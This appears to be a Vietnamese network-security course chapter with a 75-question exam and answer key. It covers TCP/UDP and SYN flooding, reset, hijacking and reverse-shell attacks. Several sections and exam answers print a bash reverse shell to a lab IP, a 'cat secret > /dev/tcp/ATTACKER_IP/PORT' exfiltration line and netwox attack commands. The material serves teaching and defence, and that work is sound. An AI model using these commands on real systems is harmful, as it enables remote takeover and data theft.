Skip to content

CHƯƠNG 9: TRANSPORT LAYER & TCP/UDP ATTACKS¤

1. TRANSPORT LAYER CƠ BẢN¤

Chức năng¤

  • Logical communication giữa application processes trên các hosts khác nhau
  • Sender: chia message thành segments → network layer
  • Receiver: ghép segments thành message → application layer

Port Ranges¤

Text Only
0 - 1023:      Well-known ports (cần super-user)
               HTTP(80), HTTPS(443), SSH(22), FTP(20,21), 
               DNS(53), SMTP(25), Telnet(23)

1024 - 49151:  Less well-known ports
               OpenVPN(1194), Docker(2375-2377)

49152 - 65535: Private ports (source ports)

2. TCP vs UDP - SO SÁNH¤

Đặc điểm TCP UDP
Connection Connection-oriented Connection-less
Reliability ✅ Đảm bảo ❌ Không đảm bảo
Ordering ✅ Có thứ tự ❌ Không thứ tự
Speed 🐢 Chậm hơn 🐇 Nhanh hơn
Overhead Cao (20 bytes header) Thấp (8 bytes header)
Packet Stream-based Boundary-based
Broadcast
Use case Web, Email, File transfer DNS, VoIP, Streaming, Gaming

3. UDP PROTOCOL¤

UDP Header (8 bytes - 4 fields)¤

Text Only
┌─────────────────┬─────────────────┐
│  Source Port    │   Dest Port     │ 16 bits each
├─────────────────┼─────────────────┤
│     Length      │    Checksum     │ 16 bits each
├─────────────────────────────────────┤
│          Application Data           │
└─────────────────────────────────────┘

UDP Applications¤

  • DNS: Query/Response
  • Streaming: Video/Audio (Netflix dùng TCP, Skype/Zoom dùng UDP)
  • Real-time: Gaming, VoIP
  • VPN: OpenVPN tunnel

4. UDP ATTACKS¤

4.1 UDP Ping-Pong Attack¤

Nguyên lý: Exploit services tự động reply

Text Only
Bước 1: Spoof packet với:
        Source Port = auto-reply port (vd: 13-daytime)
        Dest Port   = auto-reply port (vd: 37-time)

Bước 2: Server A nhận → reply đến Server B
        Server B nhận → reply đến Server A
        → Vòng lặp vô tận (Ping-Pong)

Trigger: Gửi 1 packet giả mạo để khởi động vòng lặp

4.2 UDP Amplification Attack¤

Nguyên lý: - Apps reply với packets LỚN cho requests NHỎ - Attacker spoof source IP = victim IP - Server gửi large response → victim

Amplification Factor = Response Size / Request Size

Ví dụ: - DNS: 28-54x - NTP: 556x - CharGen: 358x


5. TCP PROTOCOL¤

5.1 TCP Header (Min 20 bytes)¤

Text Only
 0                   15 16                  31
┌─────────────────────┬─────────────────────┐
│    Source Port      │   Destination Port  │
├─────────────────────┴─────────────────────┤
│           Sequence Number (32 bits)       │
├───────────────────────────────────────────┤
│       Acknowledgment Number (32 bits)     │
├─────┬───┬─────────┬─────────────────────┬─┤
│HL(4)│Res│Flags(6) │   Window (16)       │
├─────┴───┴─────────┼─────────────────────┤
│    Checksum       │   Urgent Pointer    │
├───────────────────┴─────────────────────┤
│            Options (nếu có)              │
└─────────────────────────────────────────┘

Flags (6 bits): SYN, FIN, ACK, RST, PSH, URG

Sequence Number: Số thứ tự octet đầu tiên trong segment ACK Number: Sequence number tiếp theo mà receiver mong đợi Window: Flow control - số bytes sẵn sàng nhận

5.2 TCP 3-Way Handshake¤

Text Only
Client                          Server
  │                               │
  │  ① SYN (seq=x)                │
  │─────────────────────────────→│
  │                               │ TCB vào queue
  │  ② SYN-ACK (seq=y, ack=x+1)  │ (half-open)
  │←─────────────────────────────│
  │                               │
  │  ③ ACK (ack=y+1)              │
  │─────────────────────────────→│
  │                               │ TCB ra khỏi queue
  │      ESTABLISHED              │ → ESTABLISHED

TCB (Transmission Control Block): Lưu thông tin connection - Sau ①②: Half-open connection (TCB trong queue) - Sau ③: Full connection (TCB ra khỏi queue)

5.3 TCP States¤

  • LISTEN: Chờ connection request
  • SYN_RECV: Half-open (đã nhận SYN, chưa nhận ACK)
  • ESTABLISHED: Connection hoàn thành

5.4 Đóng Connection¤

Bình thường (4-way):

Text Only
A → B: FIN
B → A: ACK  (đóng A→B)
B → A: FIN
A → B: ACK  (đóng B→A)

Khẩn cấp (RST):

Text Only
A → B: RST  (đứt ngay, không cần ACK)

5.5 Send/Receive Buffers¤

  • Send Buffer: Chứa data chờ gửi
  • Receive Buffer: Chứa data đã nhận
  • Sequence numbers duy trì thứ tự
  • Receiver gửi ACK packets xác nhận

5.6 Demultiplexing¤

TCP: Dùng 4-tuple - (Source IP, Source Port, Dest IP, Dest Port) - Mỗi connection = 1 socket riêng

UDP: Chỉ dùng Dest Port - Cùng port → cùng socket → có thể mix data


6. TCP SYN FLOODING ATTACK¤

Mục tiêu¤

Fill queue lưu half-open connections → server không accept SYN mới

Cách thực hiện¤

Text Only
Bước 1: Gửi liên tục nhiều SYN packets
        - Random source IPs (bypass firewall)
        - Mỗi SYN tạo 1 TCB trong queue

Bước 2: KHÔNG gửi ACK (bước ③)
        - TCB vẫn ở trong queue
        - Queue đầy → server từ chối SYN mới

Quan sát¤

  • netstat: Nhiều connections ở state SYN_RECV
  • CPU usage: KHÔNG cao (server vẫn sống)
  • Chỉ port bị tấn công không accept connections mới

Countermeasure: SYN Cookies¤

Text Only
Bước 1: Server nhận SYN
        → Tính H = hash(SYN packet info + secret key)
        → Gửi H làm initial sequence number
        → KHÔNG lưu TCB vào queue

Bước 2: Client hợp lệ → gửi H+1 trong ACK
        Server verify H → tạo connection

Bước 3: Attacker không nhận được H 
        → không gửi được ACK hợp lệ

Enable/Disable:

Bash
# Disable (để test attack)
sudo sysctl -w net.ipv4.tcp_syncookies=0

# Enable (bật bảo vệ)
sudo sysctl -w net.ipv4.tcp_syncookies=1


7. TCP RESET ATTACK¤

Mục tiêu¤

Break (đứt) TCP connection giữa A và B

Yêu cầu để spoof RST packet¤

Text Only
✓ Source IP      (của A)
✓ Source Port    (của A)
✓ Dest IP        (của B)
✓ Dest Port      (của B)
✓ Sequence Number (trong receiver's window)

Cách lấy thông tin¤

Wireshark sniffing:

Text Only
1. Sniff traffic giữa A-B
2. Lấy IPs, Ports từ TCP header
3. Lấy Sequence Number từ captured packet

Đặc điểm¤

  • Telnet: Seq# tăng chậm (chỉ khi typing)
  • Video streaming: Seq# tăng RẤT NHANH → phải reset liên tục

SSH Connection¤

  • SSH encrypt: Chỉ payload, TCP header vẫn plaintext
  • Reset Attack: VẪN thành công (chỉ cần header)
  • VPN encrypt: Cả packet → Reset Attack FAIL

Tool¤

Bash
# Netwox 78: Tự động reset mỗi packet
sudo netwox 78 --filter "src host 10.0.2.18"

8. TCP SESSION HIJACKING¤

Mục tiêu¤

Inject (chèn) data vào established connection

Yêu cầu (giống Reset Attack)¤

Text Only
✓ Source IP, Source Port
✓ Dest IP, Dest Port  
✓ Sequence Number (chính xác trong window)

Sequence Number Accuracy¤

Text Only
Seq = x+δ:
  δ = 0:    Perfect
  δ nhỏ:    Data lưu ở position x+δ (có gaps)
  δ lớn:    Fall out of window → reject

Hậu quả¤

  • Inject thành công → Telnet session FREEZE
  • Cả user và server đều deadlock
  • Connection không dùng được nữa

9. REVERSE SHELL¤

Khái niệm¤

  • Shell chạy trên victim machine
  • Input/Output qua TCP connection
  • Attacker control từ xa

Command Breakdown¤

Bash
/bin/bash -i > /dev/tcp/10.0.2.70/9090 0<&1 2>&1

Phân tích từng phần:

Text Only
/bin/bash          Shell program

-i                 Interactive mode

> /dev/tcp/IP/PORT stdout → TCP connection
                   (pseudo device tạo TCP connection)

0<&1               stdin đọc từ stdout 
                   (stdin ← TCP connection)

2>&1               stderr → stdout
                   (stderr → TCP connection)

Tại sao dùng Reverse Shell?¤

  • Full control: Execute bất kỳ command nào
  • Persistent: Giữ được quyền truy cập
  • Best practice sau khi hijack

Ví dụ Steal Secret¤

Bash
# Thay vì dùng "cat" (in ra local)
cat secret

# Redirect qua TCP
cat secret > /dev/tcp/ATTACKER_IP/PORT

File Descriptors¤

Text Only
0: stdin   (input)   - đọc dữ liệu vào
1: stdout  (output)  - xuất kết quả
2: stderr  (error)   - xuất lỗi

Redirect operators:

Text Only
>   Redirect output
<   Redirect input
&   Reference to file descriptor
2>&1  stderr đi cùng stdout


10. COUNTERMEASURES¤

10.1 Chống SYN Flooding¤

SYN Cookies: - Hash-based verification - Không lưu TCB vào queue - Verify bằng ACK packet

10.2 Chống Reset/Hijacking¤

1. Randomization:

Text Only
Source Port:    16 bits → 65,536 possibilities
Initial Seq#:   32 bits → 4,294,967,296 possibilities
Total:          48 bits → 281,474,976,710,656 combinations
⚠️ Vẫn vulnerable với local attacks (sniffing)

2. Encryption (BEST):

Text Only
Transport Layer (SSH):
  ✓ Encrypt payload
  ✗ TCP header plaintext → vẫn bị Reset/Hijack

Network Layer (VPN/IPSec):
  ✓ Encrypt cả packet (header + payload)
  ✓ Chống được mọi TCP attacks


11. NETWORK PROGRAMMING¤

TCP Client¤

Python
import socket

# Tạo socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Kết nối
sock.connect((ip, port))

# Gửi data
sock.send(b"data")

# Nhận data
data = sock.recv(1024)

TCP Server¤

Python
import socket

# 1. Tạo socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 2. Bind port
sock.bind((ip, port))

# 3. Listen (queue size = 5)
sock.listen(5)

# 4. Accept (block cho đến khi có connection)
client_sock, addr = sock.accept()

# 5. Send/Receive
client_sock.send(b"data")
data = client_sock.recv(1024)

Multi-connection Server¤

Python
while True:
    client_sock, addr = sock.accept()

    pid = os.fork()  # Tạo child process

    if pid == 0:     # Child process
        handle_client(client_sock)
    else:            # Parent process
        continue     # Tiếp tục accept

GHI NHỚ NHANH¤

TCP 3-Way Handshake¤

SYN → SYN-ACK → ACK

TCP States¤

LISTEN → SYN_RECV → ESTABLISHED

3 TCP Attacks chính¤

  1. SYN Flooding: Fill queue half-open
  2. Reset: Send RST → break connection
  3. Hijacking: Inject data → freeze session

Spoof Requirements (Reset + Hijack)¤

IPs + Ports + Sequence Number (in window)

Reverse Shell Template¤

Bash
/bin/bash -i > /dev/tcp/IP/PORT 0<&1 2>&1

Countermeasures Priority¤

  1. Encryption (best)
  2. SYN Cookies (chống SYN Flood)
  3. Randomization (làm khó, không hoàn toàn)

Port Commands¤

Bash
netstat -tuln     # List listening ports
netstat -antp     # All connections + state
Bash
sysctl net.ipv4.tcp_syncookies

Tools¤

  • Wireshark: Sniff packets
  • Netwox 76: SYN Flooding
  • Netwox 78: Reset Attack
  • Scapy: Custom packet crafting

TRANSPORT LAYER & TCP/UDP ATTACKS - CÂU HỎI THI¤

PHẦN 1: TRANSPORT LAYER CÔ BẢN¤

Câu 1: Transport layer cung cấp loại communication nào?

A. Physical communication giữa các hosts

B. Logical communication giữa application processes trên các hosts khác nhau

C. Direct communication giữa các routers

D. Hardware communication giữa các switches

Đáp án: B


Câu 2: Hai transport protocols chính của Internet là gì?

A. HTTP và FTP

B. IP và ICMP

C. TCP và UDP

D. DNS và DHCP

Đáp án: C


Câu 3: Khoảng port nào là Well-known ports?

A. 0 - 1023

B. 1024 - 49151

C. 49152 - 65535

D. 0 - 65535

Đáp án: A - Cần super-user privilege


Câu 4: Khoảng port nào được dùng làm source ports (private ports)?

A. 0 - 1023

B. 1024 - 49151

C. 49152 - 65535

D. 1 - 100

Đáp án: C


Câu 5: Port 80 dùng cho service nào?

A. FTP

B. SSH

C. HTTP

D. HTTPS

Đáp án: C - HTTPS: 443, SSH: 22, FTP: 20/21


PHẦN 2: TCP VS UDP¤

Câu 6: TCP khác UDP về tính năng connection như thế nào?

A. Cả hai đều connection-oriented

B. TCP connection-oriented, UDP connection-less

C. TCP connection-less, UDP connection-oriented

D. Cả hai đều connection-less

Đáp án: B


Câu 7: Protocol nào đảm bảo reliability (độ tin cậy)?

A. Chỉ TCP

B. Chỉ UDP

C. Cả TCP và UDP

D. Không có protocol nào

Đáp án: A - UDP không đảm bảo reliability


Câu 8: Protocol nào đảm bảo ordering (thứ tự) của packets?

A. Chỉ TCP

B. Chỉ UDP

C. Cả TCP và UDP

D. Không có protocol nào

Đáp án: A


Câu 9: Protocol nào NHANH hơn?

A. TCP

B. UDP

C. Bằng nhau

D. Tùy tình huống

Đáp án: B - UDP nhanh hơn vì ít overhead


Câu 10: Protocol nào hỗ trợ broadcast?

A. Chỉ TCP

B. Chỉ UDP

C. Cả TCP và UDP

D. Không có protocol nào

Đáp án: B


Câu 11: TCP là stream-based hay message-based?

A. Stream-based (không maintain packet boundary)

B. Message-based (maintain packet boundary)

C. Cả hai

D. Không có cái nào

Đáp án: A - UDP: maintain boundary


Câu 12: Ứng dụng nào THƯỜNG dùng UDP?

A. Email (SMTP)

B. File transfer (FTP)

C. Web browsing (HTTP)

D. DNS, Video streaming, VoIP

Đáp án: D - Real-time applications ưu tiên tốc độ hơn reliability


PHẦN 3: UDP PROTOCOL & ATTACKS¤

Câu 13: UDP header có bao nhiêu bytes?

A. 4 bytes

B. 8 bytes

C. 20 bytes

D. 40 bytes

Đáp án: B - 4 fields × 2 bytes = 8 bytes - TCP header: 20 bytes minimum


Câu 14: UDP header gồm những field nào?

A. Source port, Dest port, Length, Checksum

B. Source port, Dest port, Sequence number, ACK number

C. Source IP, Dest IP, Length, Checksum

D. Source port, Dest port, Flags, Window

Đáp án: A


Câu 15: UDP Ping-Pong Attack hoạt động như thế nào?

A. Gửi nhiều UDP packets để làm quá tải

B. Set source và dest ports đều là ports tự động reply (vd: daytime port 13) → tạo vòng lặp phản hồi vô tận

C. Giả mạo source IP

D. Reset UDP connection

Đáp án: B


Câu 16: Để trigger UDP Ping-Pong Attack, cần làm gì?

A. Chỉ cần gửi packet bình thường

B. Spoof packet với source và dest ports đều là auto-reply ports (vd: port 13, 37)

C. Dùng TCP thay vì UDP

D. Không cần làm gì

Đáp án: B


Câu 17: UDP Amplification Attack dựa trên nguyên lý gì?

A. Tăng số lượng packets

B. Applications reply với packets LỚN hơn requests, với forged source IP

C. Giảm bandwidth

D. Mã hóa traffic

Đáp án: B - Amplification ratio = response size / request size


Câu 18: Amplification Factor là gì?

A. Tỷ lệ giữa số packets gửi và nhận

B. Tỷ lệ giữa response size và request size

C. Tốc độ mạng

D. Số lượng victims

Đáp án: B


PHẦN 4: TCP PROTOCOL CƠ BẢN¤

Câu 19: TCP 3-way handshake gồm những bước nào?

A. SYN → ACK → FIN

B. SYN → SYN-ACK → ACK

C. SYN → SYN → ACK

D. CONNECT → ACK → DATA

Đáp án: B


Câu 20: Trong TCP 3-way handshake, client gửi packet gì đầu tiên?

A. ACK packet

B. SYN packet với random sequence number x

C. FIN packet

D. RST packet

Đáp án: B


Câu 21: Server reply SYN packet của client bằng gì?

A. ACK packet

B. SYN packet

C. SYN-ACK packet với random sequence number y

D. FIN packet

Đáp án: C


Câu 22: TCB (Transmission Control Block) được dùng để làm gì?

A. Mã hóa data

B. Store information về connection

C. Routing packets

D. Checksum verification

Đáp án: B


Câu 23: Half-open connection là gì?

A. Connection đã hoàn thành 3-way handshake

B. Connection chỉ nhận được SYN, chưa nhận ACK (sau SYN-ACK)

C. Connection bị closed

D. Connection bị timeout

Đáp án: B - TCB được store trong queue


Câu 24: TCP header tối thiểu có size bao nhiêu bytes?

A. 8 bytes

B. 16 bytes

C. 20 bytes

D. 40 bytes

Đáp án: C - UDP header: 8 bytes


Câu 25: Sequence number trong TCP dùng để làm gì?

A. Mã hóa data

B. Specify thứ tự của octets, đảm bảo ordering

C. Checksum

D. Flow control

Đáp án: B


Câu 26: Acknowledgement number trong TCP có ý nghĩa gì?

A. Số packets đã nhận

B. Next sequence number mà receiver mong đợi

C. Tổng số bytes đã gửi

D. Port number

Đáp án: B - Valid khi ACK bit được set


Câu 27: TCP Code bits gồm những flags nào?

A. SYN, ACK, PSH, URG

B. SYN, FIN, ACK, RST, PSH, URG

C. SYN, ACK, FIN

D. SYN, RST, ACK

Đáp án: B


Câu 28: Window field trong TCP header dùng để làm gì?

A. Mã hóa

B. Flow control - số octets mà sender sẵn sàng nhận

C. Routing

D. Error detection

Đáp án: B


Câu 29: Để đóng TCP connection bình thường, cần làm gì?

A. Gửi RST packet

B. Gửi SYN packet

C. 4-way handshake: FIN → ACK → FIN → ACK

D. Chỉ cần ngắt kết nối vật lý

Đáp án: C


Câu 30: RST (Reset) packet dùng để làm gì?

A. Restart connection

B. Immediately break connection (không cần ACK)

C. Resend data

D. Reset sequence number

Đáp án: B


PHẦN 5: TCP SYN FLOODING ATTACK¤

Câu 31: Mục tiêu của SYN Flooding Attack là gì?

A. Đánh cắp data

B. Fill queue lưu half-open connections → server không accept SYN packets mới

C. Giả mạo IP

D. Mã hóa traffic

Đáp án: B


Câu 32: Các bước thực hiện SYN Flooding Attack?

A. Gửi nhiều ACK packets

B. Gửi liên tục nhiều SYN packets với random source IPs, KHÔNG hoàn thành bước 3 của handshake

C. Gửi FIN packets

D. Gửi RST packets

Đáp án: B


Câu 33: Tại sao phải dùng random source IP trong SYN Flooding?

A. Để tăng tốc độ

B. Để bypass firewall và tránh bị block

C. Để giảm bandwidth

D. Không cần thiết

Đáp án: B


Câu 34: Khi check TCP states với netstat, half-open connections ở state nào?

A. LISTEN

B. ESTABLISHED

C. SYN_RECV

D. CLOSED

Đáp án: C


Câu 35: Command nào disable SYN Cookie countermeasure?

A. sudo sysctl -w net.ipv4.tcp_syncookies=1

B. sudo sysctl -w net.ipv4.tcp_syncookies=0

C. sudo iptables -F

D. sudo systemctl stop firewall

Đáp án: B


Câu 36: Tool nào có thể dùng để launch SYN Flooding?

A. ping

B. traceroute

C. netwox, scapy, hoặc custom C code

D. netcat

Đáp án: C - Netwox 76, Scapy, custom spoofing code


Câu 37: SYN Cookies hoạt động như thế nào?

A. Server encrypt tất cả SYN packets

B. Server tính keyed hash H từ SYN packet, gửi H làm initial sequence number (không lưu TCB vào queue)

C. Client gửi cookies cho server

D. Firewall block SYN packets

Đáp án: B - Nếu client hợp lệ → gửi H+1 trong ACK - Server verify bằng cách recalculate


Câu 38: Khi SYN Flooding thành công, CPU usage trên server như thế nào?

A. Rất cao (100%)

B. Không cao, server vẫn alive nhưng KHÔNG accept connections mới trên port bị tấn công

C. Bằng 0

D. Giảm xuống

Đáp án: B


PHẦN 6: TCP RESET ATTACK¤

Câu 39: Mục tiêu của TCP Reset Attack là gì?

A. Tạo connection mới

B. Break up (đứt) TCP connection giữa A và B

C. Tăng tốc độ connection

D. Mã hóa connection

Đáp án: B


Câu 40: Để thực hiện TCP Reset Attack, cần spoof packet với những fields nào ĐÚNG?

A. Chỉ cần Source IP và Dest IP

B. Source IP, Source Port, Dest IP, Dest Port, Sequence number (trong receiver's window)

C. Chỉ cần Sequence number

D. Chỉ cần Port numbers

Đáp án: B


Câu 41: Làm thế nào để lấy được Sequence number cho Reset Attack?

A. Đoán ngẫu nhiên

B. Sniff traffic bằng Wireshark để capture sequence number

C. Hỏi server

D. Không cần sequence number

Đáp án: B


Câu 42: TCP Reset Attack có thành công với SSH connection không?

A. Không, vì SSH encrypt toàn bộ

B. Có, vì SSH chỉ encrypt payload (TCP header vẫn plaintext)

C. Tùy cấu hình

D. Không bao giờ

Đáp án: B - Network layer encryption (VPN) mới encrypt TCP header


Câu 43: Để reset video-streaming connection, cần lưu ý gì về sequence number?

A. Sequence number không quan trọng

B. Sequence number tăng rất nhanh (phải reset liên tục mỗi packet)

C. Sequence number cố định

D. Không cần sequence number

Đáp án: B - Khác với Telnet (typing → sequence number tăng chậm)


Câu 44: Tool nào dùng để tự động reset packets?

A. Wireshark

B. Netwox 78

C. netstat

D. ping

Đáp án: B


PHẦN 7: TCP SESSION HIJACKING¤

Câu 45: Mục tiêu của TCP Session Hijacking là gì?

A. Ngắt connection

B. Inject (chèn) data vào established connection

C. Tạo connection mới

D. Monitor traffic

Đáp án: B


Câu 46: Giống như Reset Attack, Session Hijacking cần spoof những fields nào?

A. Chỉ IP addresses

B. Source IP, Source Port, Dest IP, Dest Port, Sequence number (trong window)

C. Chỉ Port numbers

D. Tất cả fields

Đáp án: B


Câu 47: Nếu sequence number x+δ với δ quá lớn, điều gì xảy ra?

A. Packet được accept ngay

B. Có thể fall out of receiver's window boundary

C. Tăng tốc độ

D. Không ảnh hưởng

Đáp án: B - Data được lưu ở position x+δ trong buffer


Câu 48: Sau khi hijack thành công, Telnet session bị gì?

A. Hoạt động bình thường

B. Freeze (đơ) - deadlock giữa user và server

C. Tăng tốc

D. Tự đóng

Đáp án: B


Câu 49: Để lấy secret file từ server trong Session Hijacking, nên dùng command gì?

A. cat secret (in ra màn hình)

B. cat secret > /dev/tcp/ATTACKER_IP/PORT (redirect đến TCP connection)

C. rm secret

D. ls -la

Đáp án: B - /dev/tcp/IP/PORT: pseudo device tạo TCP connection


PHẦN 8: REVERSE SHELL¤

Câu 50: Reverse Shell là gì?

A. Shell chạy trên attacker machine

B. Shell process chạy trên remote machine, connecting back to attacker

C. Shell bình thường

D. Web shell

Đáp án: B


Câu 51: File descriptor 0, 1, 2 lần lượt là gì?

A. File, Socket, Network

B. stdin, stdout, stderr

C. Input, Output, Error

D. Read, Write, Execute

Đáp án: B


Câu 52: Command reverse shell điển hình là gì?

A. nc -l 9090

B. /bin/bash -i > /dev/tcp/ATTACKER_IP/PORT 0<&1 2>&1

C. cat /etc/passwd

D. ls -la

Đáp án: B - -i: interactive - > /dev/tcp/IP/PORT: redirect stdout đến TCP connection - 0<&1: stdin đọc từ stdout (TCP connection) - 2>&1: stderr redirect đến stdout


Câu 53: Trong reverse shell command, option -i có ý nghĩa gì?

A. Install

B. Interactive - shell sẽ tương tác được

C. Input

D. Ignore

Đáp án: B


Câu 54: 0<&1 trong reverse shell command làm gì?

A. Đóng stdin

B. stdin đọc từ stdout (từ TCP connection)

C. stdout ghi vào stdin

D. Không làm gì

Đáp án: B


Câu 55: 2>&1 trong reverse shell command có nghĩa gì?

A. stderr redirect đến stdout (TCP connection)

B. stdout redirect đến stderr

C. Copy file

D. Không có ý nghĩa

Đáp án: A


Câu 56: Tại sao Reverse Shell là "best command" sau khi hijack?

A. Nhanh nhất

B. Cho attacker full control shell trên victim machine

C. Đơn giản nhất

D. An toàn nhất

Đáp án: B


PHẦN 9: COUNTERMEASURES¤

Câu 57: Cách phòng chống Session Hijacking hiệu quả nhất là gì?

A. Dùng firewall

B. Encrypt payload (attacker cần biết encryption key)

C. Tắt TCP

D. Dùng UDP thay TCP

Đáp án: B


Câu 58: Randomize source port và initial sequence number giúp gì?

A. Tăng tốc độ

B. Làm khó khăn cho attacker đoán (nhưng vẫn vulnerable với local attacks)

C. Giảm bandwidth

D. Không giúp gì

Đáp án: B - Source port: 16 bits - Initial sequence number: 32 bits - Đoán đúng: 2^48 possibilities


Câu 59: SYN Cookies giải quyết vấn đề gì?

A. Reset Attack

B. SYN Flooding Attack

C. Session Hijacking

D. Tất cả attacks

Đáp án: B


Câu 60: Encryption ở Network layer (VPN) khác Transport layer (SSH) như thế nào?

A. Giống nhau

B. Network layer encrypt cả TCP header, Transport layer chỉ encrypt payload

C. Network layer chậm hơn

D. Transport layer mạnh hơn

Đáp án: B - VPN: encrypt toàn bộ packet → chống được sniffing/spoofing TCP header - SSH: TCP header vẫn plaintext → vẫn bị Reset/Hijack attacks


PHẦN 10: TỔNG HỢP NÂNG CAO¤

Câu 61: Tại sao UDP không có 3-way handshake?

A. Không cần thiết

B. UDP connectionless, không cần establish connection

C. Quá phức tạp

D. Chưa phát triển

Đáp án: B


Câu 62: Trong demultiplexing, TCP dùng gì để phân biệt connections?

A. Chỉ port numbers

B. 4-tuple: Source IP, Source Port, Dest IP, Dest Port

C. Chỉ IP addresses

D. Sequence numbers

Đáp án: B


Câu 63: UDP demultiplexing dùng gì để phân biệt?

A. 4-tuple như TCP

B. Chỉ Destination Port

C. Source và Destination Ports

D. Chỉ IP addresses

Đáp án: B - Đó là lý do UDP không tạo riêng socket cho mỗi client


Câu 64: Send buffer và Receive buffer trong TCP dùng để làm gì?

A. Mã hóa data

B. Store data tạm thời; Send buffer chứa data chờ gửi, Receive buffer chứa data đã nhận

C. Routing

D. Checksum

Đáp án: B


Câu 65: Nếu 2 programs trên cùng machine gửi data đến cùng TCP server, server có bị mix data không?

A. Có, luôn luôn

B. Không với TCP (khác connections), Có với UDP (cùng port)

C. Có với cả TCP và UDP

D. Không bao giờ

Đáp án: B - TCP: mỗi connection có riêng socket (4-tuple khác nhau) - UDP: demux chỉ dựa vào dest port


Câu 66: Urgent Pointer trong TCP header dùng khi nào?

A. Luôn luôn

B. Khi URG flag được set, để chỉ vị trí kết thúc urgent data

C. Khi có lỗi

D. Khi FIN flag set

Đáp án: B - Urgent data không chờ trong queue, được deliver ngay


Câu 67: TCP Checksum được tính từ gì?

A. Chỉ TCP data

B. Chỉ TCP header

C. Part of IP header + TCP header + TCP data

D. Chỉ IP header

Đáp án: C


Câu 68: Header Length field trong TCP có giá trị tính theo đơn vị gì?

A. Bytes

B. 32-bit words (nhân 4 để ra bytes)

C. Bits

D. Kilobytes

Đáp án: B - 4 bits → max value 15 → max header 60 bytes


Câu 69: Khi attacker liên tục gửi RST packets đến server, hậu quả gì?

A. Server crash

B. Suspicious behavior, có thể trigger punitive actions

C. Không có gì

D. Server mạnh hơn

Đáp án: B


Câu 70: fork() system call trong TCP server làm gì?

A. Tạo thread mới

B. Tạo child process để handle connection, parent tiếp tục accept connections mới

C. Đóng connection

D. Mã hóa data

Đáp án: B - Return PID của child trong parent, return 0 trong child


Câu 71: listen() system call có argument thứ 2 là gì?

A. Port number

B. Số lượng connections có thể store trong queue

C. IP address

D. Timeout

Đáp án: B - Ví dụ: listen(sockfd, 5)


Câu 72: accept() system call làm gì?

A. Tạo socket mới

B. Extract connection request từ queue, tạo NEW socket, return file descriptor

C. Đóng socket

D. Gửi data

Đáp án: B


Câu 73: Netflix và YouTube dùng protocol gì cho streaming?

A. Chỉ UDP

B. TCP (hoặc UDP over TCP)

C. Chỉ ICMP

D. HTTP only

Đáp án: B - Adaptive streaming cần reliability - Real-time communication (Zoom, Skype): UDP


Câu 74: Mitnick Attack là gì?

A. DoS attack

B. Classic attack dùng TCP sequence number prediction để forge TCP session

C. SQL injection

D. XSS attack

Đáp án: B - Emulate Shimomura's computers


Câu 75: Khi TCP connection nhận out-of-order segment (sequence x+δ), xử lý như thế nào?

A. Drop ngay

B. Store trong buffer ở position x+δ, chờ missing data

C. Gửi RST

D. Ignore

Đáp án: B


GHI NHỚ QUAN TRỌNG¤

TCP vs UDP¤

Feature TCP UDP
Connection Oriented Less
Reliability
Ordering
Speed Chậm Nhanh
Broadcast
Packet Stream Boundary

Port Ranges¤

  • 0-1023: Well-known (super-user)
  • 1024-49151: Less well-known
  • 49152-65535: Private (source ports)

TCP 3-Way Handshake¤

  1. Client → Server: SYN (seq=x)
  2. Server → Client: SYN-ACK (seq=y, ack=x+1)
  3. Client → Server: ACK (ack=y+1)

TCP States¤

  • LISTEN: Waiting for connection
  • SYN_RECV: Half-open (chỉ nhận SYN)
  • ESTABLISHED: Full connection

Attacks Summary¤

SYN Flooding: - Fill queue bằng half-open connections - Random source IPs - Không hoàn thành ACK - Countermeasure: SYN Cookies

TCP Reset: - Spoof RST packet - Cần: IPs, Ports, Seq# (in window) - Break connection ngay lập tức

Session Hijacking: - Inject data vào connection - Cần: IPs, Ports, Seq# (in window) - Best command: Reverse shell

Reverse Shell Command¤

Bash
/bin/bash -i > /dev/tcp/IP/PORT 0<&1 2>&1
- -i: interactive - > /dev/tcp/IP/PORT: stdout → TCP - 0<&1: stdin ← stdout - 2>&1: stderr → stdout

File Descriptors¤

  • 0: stdin
  • 1: stdout
  • 2: stderr

Countermeasures¤

  1. Randomize: source port (16-bit) + seq# (32-bit)
  2. Encrypt: payload (best solution)
  3. SYN Cookies: chống SYN Flooding
  4. VPN: encrypt cả TCP header